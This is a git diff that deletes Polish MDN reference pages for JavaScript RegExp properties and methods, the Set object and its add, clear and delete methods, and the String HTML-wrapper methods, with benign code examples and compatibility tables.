- - diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/lastmatch/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/lastmatch/index.html deleted file mode 100644 index 4d229d5d81..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/regexp/lastmatch/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: RegExp.lastMatch ($&) -slug: Web/JavaScript/Referencje/Obiekty/RegExp/lastMatch -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch ---- -
{{JSRef}} {{non-standard_header}}
- -

Niestandardowa właściwość lastMatch jest właściwością statyczną, tylko do odczytu wyrażeń regularnych, który zawiera ostatnie dopasowane znaki. RegExp.$& jest aliasem tej właściwości.

- -

Syntax

- -
RegExp.lastMatch
-RegExp['$&']
-
- -

Description

- -

The lastMatch property is static, it is not a property of an individual regular expression object. Instead, you always use it as RegExp.lastMatch or RegExp['$&'].

- -

The value of the lastMatch property is read-only and modified whenever a successful match is made.

- -

You can not use the shorthand alias with the dot property accessor (RegExp.$&), because the parser expects an expression with "&" in that case and a {{jsxref("SyntaxError")}} is thrown. Use the bracket notation for property access.

- -

Examples

- -

Using lastMatch and $&

- -
var re = /hi/g;
-re.test('hi there!');
-RegExp.lastMatch; // "hi"
-RegExp['$&'];     // "hi"
-
- -

Specifications

- -

Niestandardowe. Nie jest częścią aktualnej specyfikacji.

- -

Browser compatibility

- -
- - -

{{Compat("javascript.builtins.RegExp.lastMatch")}}

-
- -

See also

- - diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/prototype/index.html deleted file mode 100644 index 84a0d73ccc..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/regexp/prototype/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: RegExp.prototype -slug: Web/JavaScript/Referencje/Obiekty/RegExp/prototype -tags: - - JavaScript - - Property - - Prototype - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp -translation_of_original: Web/JavaScript/Reference/Global_Objects/RegExp/prototype ---- -

{{JSRef}}

- -

Podsumowanie

- -

Reprezentuje prototyp obiektów danej klasy. Pozwala na dodawanie własności i metod do wszystkich instancji tej klasy.

- -

Własności

- -

Zauważ, że niektóre własności obiektu RegExp mają dwie nazwy: długą i krótką (Perlową). Obydwie nazwy zawsze odwołują się do tej samej wartości. Perl jest językiem programowania, z którego uformowały się wyrażenia regularne JavaScriptu.

- -
-
RegExp.prototype.constructor
-
Określa funkcję, która tworzy prototyp obiektu.
-
{{jsxref("RegExp.prototype.flags")}} {{experimental_inline}}
-
A string that contains the flags of the RegExp object.
-
{{jsxref("RegExp.prototype.global")}}
-
Czy przeszukiwać cały ciąg w poszukiwaniu wszystkich możliwych dopasowań czy tylko w poszukiwaniu pierwszego.
-
{{jsxref("RegExp.prototype.ignoreCase")}}
-
Czy ignorować wielkość liter podczas wyszukiwania.
-
{{jsxref("RegExp.prototype.multiline")}}
-
Czy w ciągach z wieloma liniami, szukać w wielu liniach.
-
{{jsxref("RegExp.prototype.source")}}
-
Tekst wzoru.
-
{{jsxref("RegExp.prototype.sticky")}} {{experimental_inline}}
-
Whether or not the search is sticky.
-
{{jsxref("RegExp.prototype.unicode")}} {{experimental_inline}}
-
Whether or not Unicode features are enabled.
-
- -

Metody

- -
-
{{jsxref("RegExp.prototype.compile()")}} {{deprecated_inline}}
-
(Re-)compiles a regular expression during execution of a script.
-
{{jsxref("RegExp.prototype.exec()")}}
-
Uruchamia wyszukiwanie dopasowania w ciągu podanym poprzez parametr tej metody.
-
{{jsxref("RegExp.prototype.test()")}}
-
Testuje dopasowanie w ciągu podanym poprzez parametr tej metody.
-
{{jsxref("RegExp.prototype.toSource()")}} {{non-standard_inline}}
-
Zwraca literał obiektu reprezentujący podany obiekt; możesz użyć tej wartości do utworzenia nowego obiektu. Przesłania metodę Object.toSource.
-
{{jsxref("RegExp.prototype.toString()")}}
-
Zwraca ciąg znaków reprezentujący podany obiekt. Przesłania metodę Object.toString.
-
diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/source/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/source/index.html deleted file mode 100644 index 78cf4c2a64..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/regexp/source/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: RegExp.prototype.source -slug: Web/JavaScript/Referencje/Obiekty/RegExp/source -tags: - - JavaScript - - Property - - Prototype - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/source ---- -

{{JSRef}}

- -

Podsumowanie

- -

Własność tylko do odczytu stanowiąca wzór tekstu, wykluczając przesyłanie slashy.

- -
{{js_property_attributes(0, 0, 1)}}
- -

Opis

- -

source jest własnością indywidualnej instancji wyrażenia regularnego obiektu.

- -

Nie możesz zmienić tej własności bezpośrednio.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/test/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/test/index.html deleted file mode 100644 index e654bfb236..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/regexp/test/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: RegExp.prototype.test() -slug: Web/JavaScript/Referencje/Obiekty/RegExp/test -tags: - - JavaScript - - Method - - Prototype - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/test ---- -

{{JSRef}}

- -

Podsumowanie

- -

Wykonuje poszukiwanie łańcucha znaków pomiędzy wyrażeniem regularnym i określonym wzorcem. Zwraca true lub false.

- -

Składnia

- -
regexObj.test(str)
- -

Parametry

- -
-
str 
-
Łańcuch znaków w zależności od tego, czym jest wyrażenie regularne.
-
- -

Opis

- -

Jeśli chcesz wiedzieć, czy wzorzec został znaleziony w łańcuchu znaków zastosuj metodę test (podobną do metody {{jsxref("String.prototype.search()")}}); aby uzyskać więcej informacji (lecz powolniej wykonywana) zastosuj metodę {{jsxref("RegExp.prototype.exec()", "exec()")}}(podobną do metody {{jsxref("String.prototype.match()")}} ).

- -

Przykłady

- -

Przykład: Zastosowanie test()

- -

Poniższy funkcja wypisuje wiadomość, której tekst zależy od powodzenia testu:

- -
function testinput(re, str){
-   if (re.test(str)) {
-      midstring = " zawiera ";
-   } else {
-      midstring = " nie zawiera ";
-   }
-   console.log(str + midstring + re.source);
-}
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/tosource/index.html deleted file mode 100644 index 4ac074392b..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/regexp/tosource/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: RegExp.prototype.toSource() -slug: Web/JavaScript/Referencje/Obiekty/RegExp/toSource -tags: - - JavaScript - - Method - - Prototype - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/toSource ---- -

{{JSRef}}{{Non-standard_header}}

- -

Podsumowanie

- -

Zwraca łańcuch znaków reprezentujący kod źródłowy obiektu.

- -

Składnia

- -
regexObj.toSource()
-
- -

Parametry

- -

Brak.

- -

Opis

- -

Metoda toSource() zwraca następujące wartości:

- - - -

Ta metoda jest często nazywana wewnętrzną metodą JavaScriptu i nie jest widoczna w kodzie.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/tostring/index.html deleted file mode 100644 index fb78233ff2..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/regexp/tostring/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: RegExp.prototype.toString() -slug: Web/JavaScript/Referencje/Obiekty/RegExp/toString -tags: - - JavaScript - - Method - - Prototype - - RegExp -translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/toString ---- -

{{JSRef}}

- -

Podsumowanie

- -

Zwraca łańcuch znaków reprezentujący określony obiekt.

- -

Składnia

- -
regexObj.toString();
- -

Parametry

- -

Brak.

- -

Opis

- -

Obiekt {{jsxref("RegExp")}} przypisuje toString() metodzie obiektu {{jsxref("Object")}}; nie dziedziczy {{jsxref("Object.prototype.toString()")}}. Dla obiektu {{jsxref("RegExp")}}, metoda toString() zwraca łańcuch znaków reprezentujący obiekt.

- -

Przykłady

- -

Przykład: Zastosowanie toString()

- -

Następujący przykład wyświetla wartość łańcucha znaków obiektu RegExp:

- -
var myExp = new RegExp('a+b+c');
-console.log(myExp.toString());  // wyświetli '/a+b+c/'
-
-var foo = new RegExp('bar', 'g');
-console.log(foo.toString());    // wyświetli '/bar/g'
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/set/index.html b/files/pl/web/javascript/referencje/obiekty/set/index.html deleted file mode 100644 index ca9cc37a93..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/set/index.html +++ /dev/null @@ -1,486 +0,0 @@ ---- -title: Set -slug: Web/JavaScript/Referencje/Obiekty/Set -tags: - - ECMAScript 2015 - - ECMAScript6 - - Global Objects - - JavaScript - - Object - - set -translation_of: Web/JavaScript/Reference/Global_Objects/Set ---- -
{{JSRef}}
- -

Obiekt Set umożliwia przechowywanie unikalnych wartości każdego typu, zarówno {{Glossary("Primitive", "primitywów")}} jak i obiektów.

- -

Składnia

- -
new Set([iterable]);
- -

Parametry

- -
-
iterable
-
Jeżeli przekażesz obiekt iterowalny, wszystkie jego elementy zostaną dodane do nowego Set. Podczas gdy nie przekażemy żadnego parametru lub wartość parametru będzie równa null, zostanie stworzony pusty Set.
-
- -

Zwracana wartość

- -

Nowy obiekt Set.

- -

Opis

- -

Obiekt Set jest kolekcją wartości. Możesz iterować po elementach Set w kolejności, w której zostały dodane. Wartość w Set może występować tylko jeden raz.

- -

Równość wartości

- -

Dlatego, że każda wartość w Set musi być unikalna, musi zostać to sprawdzone. We wcześniejszych specyfikacjach ECMAScript nie było to oparte na tym samym algorytmie co w przypadku operatora ===. Konkretnie dla Set +0 (co jest tym samym co -0) i -0 były innymi wartościami. W specyfikacji ECMAScript 2015 zostało to zmienione. Zobacz "Value equality for -0 and 0" w tabeli Kompatybilność z przeglądarkami.

- -

NaN i undefined mogą być przechowywane w Set. NaN w Set uważane jest za równe NaN, podczas gdy NaN !== NaN zwraca true

- -

Własności

- -
-
Set.length
-
Wartość length zawsze wynosi 0.
-
{{jsxref("Set.@@species", "get Set[@@species]")}}
-
Funkcja wykorzystywana do stworzenia pochodnych obiektów.
-
{{jsxref("Set.prototype")}}
-
Reprezentuje prototyp konstruktora Set. Pozwala na dodanie własności do obiektu Set.
-
- -

Instancje Set

- -

Wszystkie instancje Set dziedziczą od {{jsxref("Set.prototype")}}.

- -

Własności

- -

{{page('en-US/Web/JavaScript/Reference/Global_Objects/Set/prototype','Properties')}}

- -

Metody

- -

{{page('en-US/Web/JavaScript/Reference/Global_Objects/Set/prototype','Methods')}}

- -

Przykłady

- -

Użycie obiektu Set

- -
var mySet = new Set();
-
-mySet.add(1); // Set { 1 }
-mySet.add(5); // Set { 1, 5 }
-mySet.add(5); // Set { 1, 5 }
-mySet.add('some text'); // Set { 1, 5, 'some text' }
-var o = {a: 1, b: 2};
-mySet.add(o);
-
-mySet.add({a: 1, b: 2}); // o jest referencją do innego obiektu, więc dwa obiekty zostają dodane do Set.
-
-mySet.has(1); // true
-mySet.has(3); // false, 3 nie zostało dodane do Set.
-mySet.has(5);              // true
-mySet.has(Math.sqrt(25));  // true
-mySet.has('Some Text'.toLowerCase()); // true
-mySet.has(o); // true
-
-mySet.size; // 5
-
-mySet.delete(5); // Usuwa 5 z Set.
-mySet.has(5);    // false, 5 zostało usunięte.
-
-mySet.size; // 4, usuneliśmy jedną wartość.
-console.log(mySet);// Set {1, "some text", Object {a: 1, b: 2}, Object {a: 1, b: 2}}
- -

Iterowanie po Set.

- -
// Iterowanie po items w Set.
-// wypisuje items w kolejności: 1, "some text", {"a": 1, "b": 2}
-for (let item of mySet) console.log(item);
-
-// wypisuje items w kolejności: 1, "some text", {"a": 1, "b": 2}
-for (let item of mySet.keys()) console.log(item);
-
-// wypisuje items w kolejności: 1, "some text", {"a": 1, "b": 2}
-for (let item of mySet.values()) console.log(item);
-
-// wypisuje items w kolejności: 1, "some text", {"a": 1, "b": 2}
-//(key i value są takie same)
-for (let [key, value] of mySet.entries()) console.log(key);
-
-// zamienia Set na Array, przy użyciu Array.from
-var myArr = Array.from(mySet); // [1, "some text", {"a": 1, "b": 2}]
-
-// następujące funkcje również zadziałają, jeżeli skrypt odpalony jest w dokumencie HTML
-mySet.add(document.body);
-mySet.has(document.querySelector('body')); // true
-
-// zamiana Array na Set i na odwrót
-mySet2 = new Set([1, 2, 3, 4]);
-mySet2.size; // 4
-[...mySet2]; // [1, 2, 3, 4]
-
-// Set z wartościami, które są w set1 i set2, może być uzyskany następująco
-var intersection = new Set([...set1].filter(x => set2.has(x)));
-
-// Set z różnicami wartości set1 i set2 może być uzyskany następująco
-var difference = new Set([...set1].filter(x => !set2.has(x)));
-
-// iterowanie po Set za pomocą .forEach
-mySet.forEach(function(value) {
-  console.log(value);
-});
-// 1
-// 2
-// 3
-// 4
- -

Implementacja podstawowych operacji Set

- -
Set.prototype.isSuperset = function(subset) {
-    for (var elem of subset) {
-        if (!this.has(elem)) {
-            return false;
-        }
-    }
-    return true;
-}
-
-Set.prototype.union = function(setB) {
-    var union = new Set(this);
-    for (var elem of setB) {
-        union.add(elem);
-    }
-    return union;
-}
-
-Set.prototype.intersection = function(setB) {
-    var intersection = new Set();
-    for (var elem of setB) {
-        if (this.has(elem)) {
-            intersection.add(elem);
-        }
-    }
-    return intersection;
-}
-
-Set.prototype.difference = function(setB) {
-    var difference = new Set(this);
-    for (var elem of setB) {
-        difference.delete(elem);
-    }
-    return difference;
-}
-
-// Przykłady
-var setA = new Set([1, 2, 3, 4]),
-    setB = new Set([2, 3]),
-    setC = new Set([3, 4, 5, 6]);
-
-setA.isSuperset(setB); // => true
-setA.union(setC); // => Set [1, 2, 3, 4, 5, 6]
-setA.intersection(setC); // => Set [3, 4]
-setA.difference(setC); // => Set [1, 2]
-
-
- -

Relacje z Tablicami (Array)

- -
var myArray = ['value1', 'value2', 'value3'];
-
-// Użycie konstruktora Set do zamiany Array na Set.
-var mySet = new Set(myArray);
-
-mySet.has('value1'); // => true
-
-// Użycie spread operator do zamiany Set na Array.
-console.log([...mySet]); // Will show you exactly the same Array as myArray
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-set-objects', 'Set')}}{{Spec2('ES2015')}}Początkowa definicja.
{{SpecName('ESDraft', '#sec-set-objects', 'Set')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność przeglądarek

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support -

{{ CompatChrome(38) }} [1]

-
12{{ CompatGeckoDesktop("13") }}{{ CompatIE("11") }}257.1
Constructor argument: new Set(iterable){{ CompatChrome(38) }}12{{ CompatGeckoDesktop("13") }}{{CompatNo}}259.0
iterable{{ CompatChrome(38) }}12{{ CompatGeckoDesktop("17") }}{{CompatNo}}257.1
Set.add() returns the set{{ CompatChrome(38) }}12{{ CompatGeckoDesktop("13") }}{{CompatNo}}257.1
Set.clear(){{ CompatChrome(38) }}12{{CompatGeckoDesktop("19")}}{{ CompatIE("11") }}257.1
Set.keys(), Set.values(), Set.entries(){{ CompatChrome(38) }}12{{CompatGeckoDesktop("24")}}{{CompatNo}}257.1
Set.forEach(){{ CompatChrome(38) }}12{{CompatGeckoDesktop("25")}}{{ CompatIE("11") }}257.1
Value equality for -0 and 0{{ CompatChrome(38) }}12{{CompatGeckoDesktop("29")}}{{CompatNo}}25{{CompatSafari(9)}}
Constructor argument: new Set(null){{CompatVersionUnknown}}12{{CompatGeckoDesktop("37")}}{{CompatIE(11)}}{{CompatVersionUnknown}}{{CompatSafari(7.1)}}
Monkey-patched add() in Constructor{{CompatVersionUnknown}}12{{CompatGeckoDesktop("37")}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatSafari(9)}}
Set[@@species]{{ CompatChrome(51) }}13{{CompatGeckoDesktop("41")}}{{CompatNo}}{{ CompatOpera(38) }}{{CompatSafari(10)}}
Set() without new throws{{CompatVersionUnknown}}12{{CompatGeckoDesktop("42")}}{{CompatIE(11)}}{{CompatVersionUnknown}}9
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome(38)}} [1]{{CompatVersionUnknown}}{{ CompatGeckoMobile("13") }}{{CompatNo}}{{CompatNo}}8
Constructor argument: new Set(iterable){{CompatNo}}{{CompatChrome(38)}}{{CompatVersionUnknown}}{{ CompatGeckoMobile("13") }}{{CompatNo}}{{CompatNo}}9
iterable{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{ CompatGeckoMobile("17") }}{{CompatNo}}{{CompatNo}}8
Set.clear(){{CompatNo}}{{ CompatChrome(38) }}{{CompatVersionUnknown}}{{CompatGeckoMobile("19")}}{{CompatNo}}{{CompatNo}}8
Set.keys(), Set.values(), Set.entries(){{CompatNo}}{{ CompatChrome(38) }}{{CompatVersionUnknown}}{{CompatGeckoMobile("24")}}{{CompatNo}}{{CompatNo}}8
Set.forEach(){{CompatNo}}{{ CompatChrome(38) }}{{CompatVersionUnknown}}{{CompatGeckoMobile("25")}}{{CompatNo}}{{CompatNo}}8
Value equality for -0 and 0{{CompatNo}}{{ CompatChrome(38) }}{{CompatVersionUnknown}}{{CompatGeckoMobile("29")}}{{CompatNo}}{{CompatNo}}9
Constructor argument: new Set(null){{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("37")}}{{CompatUnknown}}{{CompatUnknown}}8
Monkey-patched add() in Constructor{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("37")}}{{CompatUnknown}}{{CompatUnknown}}9
Set[@@species]{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("41")}}{{CompatUnknown}}{{CompatUnknown}}10
Set() without new throws{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("42")}}{{CompatUnknown}}{{CompatUnknown}}9
-
- -

[1] The feature was available behind a preference from Chrome 31. In chrome://flags, activate the entry “Enable Experimental JavaScript”.

- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/set/set.prototype.add()/index.html b/files/pl/web/javascript/referencje/obiekty/set/set.prototype.add()/index.html deleted file mode 100644 index 397939f84e..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/set/set.prototype.add()/index.html +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: Set.prototype.add() -slug: Web/JavaScript/Referencje/Obiekty/Set/Set.prototype.add() -tags: - - ECMAScript 2015 - - JavaScript - - Method - - Prototype - - set -translation_of: Web/JavaScript/Reference/Global_Objects/Set/add ---- -
{{JSRef}}
- -

Metoda add() dodaje nowy element o określonej wartości (value) na koniec obieku Set.

- -

Składnia

- -
mySet.add(value);
- -

Parametry

- -
-
value
-
Wymagany parametr. Wartość elementu, która zostanie dodana do obieku Set.
-
- -

Zwracana wartość

- -

Obiekt Set.

- -

Przykłady

- -

Użycie metody add

- -
var mySet = new Set();
-
-mySet.add(1);
-mySet.add(5).add('some text'); // można stworzyć "łańcuch"
-
-console.log(mySet);
-// Set [1, 5, "some text"]
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-set.prototype.add', 'Set.prototype.add')}}{{Spec2('ES2015')}}Początkowa definicja
{{SpecName('ESDraft', '#sec-set.prototype.add', 'Set.prototype.add')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność przeglądarek

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support38{{CompatVersionUnknown}}{{CompatGeckoDesktop("13.0")}}11257.1
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}38{{CompatVersionUnknown}}{{CompatGeckoMobile("13.0")}}{{CompatNo}}{{CompatNo}}8
-
- -

Specyficzne zachowania w przeglądarkach

- - - -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/set/set.prototype.clear()/index.html b/files/pl/web/javascript/referencje/obiekty/set/set.prototype.clear()/index.html deleted file mode 100644 index 85ca894da9..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/set/set.prototype.clear()/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: Set.prototype.clear() -slug: Web/JavaScript/Referencje/Obiekty/Set/Set.prototype.clear() -tags: - - ECMAScript 2015 - - JavaScript - - Method - - Prototype - - set -translation_of: Web/JavaScript/Reference/Global_Objects/Set/clear ---- -
{{JSRef}}
- -

Metoda clear() usuwa wszystkie elementy obiektu Set.

- -

Składnia

- -
mySet.clear();
- -

Zwracana wartość

- -

{{jsxref("undefined")}}.

- -

Przykłady

- -

Użycie metody clear

- -
var mySet = new Set();
-mySet.add(1);
-mySet.add('foo');
-
-mySet.size;       // 2
-mySet.has('foo'); // true
-
-mySet.clear();
-
-mySet.size;       // 0
-mySet.has('bar')  // false
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-set.prototype.clear', 'Set.prototype.clear')}}{{Spec2('ES2015')}}Początkowa definicja.
{{SpecName('ESDraft', '#sec-set.prototype.clear', 'Set.prototype.clear')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność przeglądarek

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support38{{CompatVersionUnknown}}{{CompatGeckoDesktop("19.0")}}11257.1
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}25{{CompatVersionUnknown}}{{CompatGeckoMobile("19.0")}}{{CompatNo}}{{CompatNo}}8
-
- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/set/set.prototype.delete()/index.html b/files/pl/web/javascript/referencje/obiekty/set/set.prototype.delete()/index.html deleted file mode 100644 index 7071c9e4eb..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/set/set.prototype.delete()/index.html +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Set.prototype.delete() -slug: Web/JavaScript/Referencje/Obiekty/Set/Set.prototype.delete() -tags: - - ECMAScript 2015 - - JavaScript - - Method - - Prototype - - set -translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete ---- -
{{JSRef}}
- -

Metoda delete() usuwa określony element z obiektu Set.

- -

Składnia

- -
mySet.delete(value);
- -

Parametry

- -
-
value
-
Wymagany parametr. Wartość elementu, która zostanie usunięta z obiektu Set.
-
- -

Zwracana wartość

- -

true jeżeli element został pomyślnie usunięty, w innym wypadku false.

- -

Przykłady

- -

Użycie metody delete

- -
var mySet = new Set();
-mySet.add('foo');
-
-mySet.delete('bar'); // Zwraca false. Brak elementu "bar" do usunięca.
-mySet.delete('foo'); // Zwraca true.  Usunięto pomyślnie.
-
-mySet.has('foo');    // Zwraca false. Element "foo" nie znajduje się już w Set.
-
- -

Jak usunąć obiekt z Set:

- -
var points = new Set(); // Tworzy Set
-
-points.add({x: 10, y: 20}); // Dodaje obiekt do Set
-points.add({x: 20, y: 30}); // Dodaje obiekt do Set
-
-// Usuwa point, dla którego `x > 10`
-points.forEach(function(point){
-  if(point.x > 10){
-    points.delete(point);
-  }
-})
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-set.prototype.delete', 'Set.prototype.delete')}}{{Spec2('ES2015')}}Początkowa definicja
{{SpecName('ESDraft', '#sec-set.prototype.delete', 'Set.prototype.delete')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność przeglądarek

- -

 

- - - -

{{Compat("javascript.builtins.Set.delete")}}

- -

 

- -
 
- -
 
- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/anchor/index.html b/files/pl/web/javascript/referencje/obiekty/string/anchor/index.html deleted file mode 100644 index 737c385889..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/anchor/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: String.prototype.anchor() -slug: Web/JavaScript/Referencje/Obiekty/String/anchor -tags: - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/anchor ---- -

{{JSRef}}

- -

Podsumowanie

- -

Tworzy kotwicę HTML {{HTMLElement("a")}} do użycia jako cel odnośnika.

- -

Składnia

- -
str.anchor(name)
- -

Parametry

- -
-
name
-
Łańcuch znaków.
-
- -

Opis

- -

Use the anchor() method to programmatically create and display an anchor in a document.

- -

W składni łańcuch znaków reprezentuje literał tekstowy, który ma zobaczyć użytkownik. Łańcuch name reprezentuje atrybut name znacznika a.

- -

Kotwice stworzone za pomocą metody anchor stają się elementami tablicy document.anchors.

- -

Przykłady

- -

Przykład: Zastosowanie anchor()

- -

Następujący przykład wewnątrz kodu HTML elementu script:

- -
var myString = "Tabela zawartości";
-
-document.body.innerHTML = myString.anchor("contents_anchor");
-
- -

spowoduje otrzymanie na wyjściu kodu HTML:

- -
<a name="contents_anchor">Tabela zawartości</a>
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/big/index.html b/files/pl/web/javascript/referencje/obiekty/string/big/index.html deleted file mode 100644 index 62914dfa9c..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/big/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: String.prototype.big() -slug: Web/JavaScript/Referencje/Obiekty/String/big -tags: - - Deprecated - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/big ---- -
{{JSRef}} {{deprecated_header}}
- -

Podsumowanie

- -

Powoduje, iż łańcuch znaków zostanie wyświetlony jakby znajdował się wewnątrz znacznika {{HTMLElement("big")}}.

- -

Składnia

- -
str.big()
- -

Opis

- -

The big() method embeds a string in a <big> tag: "<big>str</big>".

- -

Przykłady

- -

Przykład: Zastosowanie big()

- -

Następujący przykład stosuje metodę string do zmiany rozmiaru łańcucha znaków:

- -
var worldString = "Witaj, Świecie";
-
-console.log(worldString.small());     // <small>Witaj, Świecie</small>
-console.log(worldString.big());       // <big>Witaj, Świecie</big>
-console.log(worldString.fontsize(7)); // <fontsize=7>Witaj, Świecie</fontsize>
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/blink/index.html b/files/pl/web/javascript/referencje/obiekty/string/blink/index.html deleted file mode 100644 index 056dbc3792..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/blink/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: String.prototype.blink() -slug: Web/JavaScript/Referencje/Obiekty/String/blink -tags: - - Deprecated - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/blink ---- -
{{JSRef}} {{deprecated_header}}
- -

Podsumowanie

- -

Powoduje, iż łańcuch będzie migotał tak, jakby był on wewnątrz znacznika {{HTMLElement("blink")}}.

- -
-

Warning: Blinking text is frowned upon by several accessibility standards. The <blink> element itself is non-standard and deprecated!

-
- -

Składnia

- -
str.blink()
- -

Opis

- -

The blink() method embeds a string in a <blink> tag: "<blink>str</blink>".

- -

Przykłady

- -

Przykład: Zastosowanie blink()

- -

Następujący przykład stosuje metodę string do zmiany formatowania łańcucha znaków:

- -
var worldString="Witaj, Świecie";
-
-console.log(worldString.blink());   // <blink>Witaj, Świecie</blink>
-console.log(worldString.bold());    // <bold>Witaj, Świecie</bold>
-console.log(worldString.italics()); // <i>Witaj, Świecie</i>
-console.log(worldString.strike());  // <s>Witaj, Świecie</s>
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/string/bold/index.html b/files/pl/web/javascript/referencje/obiekty/string/bold/index.html deleted file mode 100644 index 0708d5799e..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/string/bold/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: String.prototype.bold() -slug: Web/JavaScript/Referencje/Obiekty/String/bold -tags: - - Deprecated - - JavaScript - - Method - - Prototype - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/bold ---- -

{{JSRef}}{{deprecated_header}}

- -

Podsumowanie

- -

Powoduje wyświetlenie łańcucha znaków jako pogrubienia, jakby był w znaczniku {{HTMLElement("b")}}.

- -

Składnia

- -
str.bold()
- -

Opis

- -

The bold() method embeds a string in a <b> tag: "<b>str</b>".

- -

Przykłady

- -

Przykład: Zastosowanie bold()

- -
